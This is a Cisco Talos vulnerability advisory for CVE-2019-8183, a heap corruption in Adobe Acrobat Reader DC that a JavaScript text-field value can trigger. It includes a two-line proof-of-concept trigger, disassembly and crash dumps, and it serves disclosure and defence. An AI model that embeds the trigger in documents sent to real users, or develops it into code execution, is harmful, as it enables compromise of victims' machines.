Talos Vulnerability Report

TALOS-2019-0860

Adobe Acrobat Reader DC text field value remote code execution vulnerability redux

October 15, 2019
CVE Number

CVE-2019-8183

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.012.20035. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. The vulnerability in this advisory is the same as TALOS-2018-0704 and TALOS-2019-0774, as it wasn't properly patched to cover all cases.

Tested Versions

Adobe Acrobat Reader DC 2019.012.20035

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-194: Unexpected Sign Extension

Details

Adobe Acrobat Reader is the most popular PDF reader currently on the market. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.

This vulnerability stems from an incorrect counting of array elements and can be triggered by the same code as TALOS-2018-0704 and TALOS-2019-0774, with changed array size:

var r = new RegExp(Array(32771).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;

The buffer allocation happens in the follwing code:

.text:20BDCA9C
.text:20BDCA9C loc_20BDCA9C:
.text:20BDCA9C imul    eax, edx, 14h
.text:20BDCA9F push    eax
.text:20BDCAA0 xor     eax, eax
.text:20BDCAA2 inc     eax
.text:20BDCAA3 push    eax
.text:20BDCAA4 call    sub_20860CF9  

As before, the number of elements is multiplied by 0x14 and a buffer is allocated by calling sub_20860cf9. Value in edx comes from preceeding code:

.text:20BDCA8B                 cmp     eax, edi
.text:20BDCA8D                 jz      short loc_20BDCA9C
.text:20BDCA8F                 movzx   ecx, word ptr [eax+0Ch]
.text:20BDCA93                 add     edx, ecx
.text:20BDCA95                 mov     dword ptr [ebp+var_54+4], edx
.text:20BDCA98                 mov     eax, [eax]
.text:20BDCA9A                 jmp     short loc_20BDCA8B

The above code is walking the array and counting the elements. It doesn't, however, count the tail element so edx ends up being 32770 for our PoC. We can observe the size of allocated chunk:

6211caa4 e85042c8ff      call    AcroForm!PlugInMain+0xa19 (61da0cf9)
1:009> 
eax=7bcfafd8 ebx=00000000 ecx=00000000 edx=000a0028 esi=48e8ed50 edi=48e92fe0
eip=6211caa9 esp=0053bb1c ebp=0053bb8c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AcroForm!DllUnregisterServer+0x15be29:
6211caa9 8bb68c020000    mov     esi,dword ptr [esi+28Ch] ds:002b:48e8efdc=48e92fe0
1:009> ?eax
Evaluate expression: 2077208536 = 7bcfafd8
1:009> !heap -p -a eax
    address 7bcfafd8 found in
    _DPH_HEAP_ROOT @ 9501000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                7bcc164c:         7bcfafd8            a0028 -         7bcfa000            a2000
    6534abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7771245b ntdll!RtlDebugAllocateHeap+0x00000039
    77676dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77675ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77675d3e ntdll!RtlAllocateHeap+0x0000003e
    76e01406 ucrtbase!_malloc_base+0x00000026
    634cfcd9 AcroRd32!AcroWinMainSandbox+0x00003ed9
    61da0d26 AcroForm!PlugInMain+0x00000a46
    6211caa9 AcroForm!DllUnregisterServer+0x0015be29
    6211e01e AcroForm!DllUnregisterServer+0x0015d39e
    61ed77dc AcroForm!PlugInMain+0x001374fc

We can see the size is 0xa0028 which is just enough for 32770 elements, but not more. Continuing the execution results in the following crash:

===========================================================
VERIFIER STOP 0000000F: pid 0xA22C: corrupted suffix pattern 

    09501000 : Heap handle
    8BF5EFF8 : Heap block
    00000002 : Block size
    8BF5EFFA : corruption address
===========================================================
This verifier stop is not continuable. Process will be terminated 
when you use the `go' debugger command.
===========================================================

(a22c.4dc8): Break instruction exception - code 80000003 (first chance)
eax=003e8000 ebx=00000000 ecx=00000001 edx=0053b47c esi=6534ad40 edi=00000000
eip=6534ddf2 esp=0053b41c ebp=0053b424 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
verifier!VerifierBreakin+0x42:
6534ddf2 cc              int     3
1:009> k
 # ChildEBP RetAddr  
00 0053b424 6534def0 verifier!VerifierBreakin+0x42
01 0053b74c 6534e1f7 verifier!VerifierCaptureContextAndReportStop+0xf0
02 0053b794 6534bc55 verifier!VerifierStopMessage+0x2c7
03 0053b800 6534bf3c verifier!AVrfpDphReportCorruptedBlock+0x285
04 0053b870 65348bda verifier!AVrfpDphCheckPageHeapBlock+0x1bc
05 0053b89c 65348d90 verifier!AVrfpDphFindBusyMemory+0xda
06 0053b8b8 6534add0 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20
07 0053b8d4 77712c91 verifier!AVrfDebugPageHeapFree+0x90
08 0053b944 77673c45 ntdll!RtlDebugFreeHeap+0x3e
09 0053ba90 77673812 ntdll!RtlpFreeHeap+0xd5
0a 0053bae4 76dff43b ntdll!RtlFreeHeap+0x222
0b 0053baf8 76dff408 ucrtbase!_free_base+0x1b
0c 0053bb08 634d2849 ucrtbase!free+0x18
WARNING: Stack unwind information not available. Following frames may be wrong.
0d 0053bb18 6211ce0e AcroRd32!AcroWinMainSandbox+0x6a49
0e 0053bb8c 6211e01e AcroForm!DllUnregisterServer+0x15c18e
0f 0053bb98 61ed77dc AcroForm!DllUnregisterServer+0x15d39e
10 00000000 00000000 AcroForm!PlugInMain+0x1374fc

The output shows heap corruption, which was caught while freeing heap memory. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.

Timeline

2019-07-22 - Vendor Disclosure
2019-10-15 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.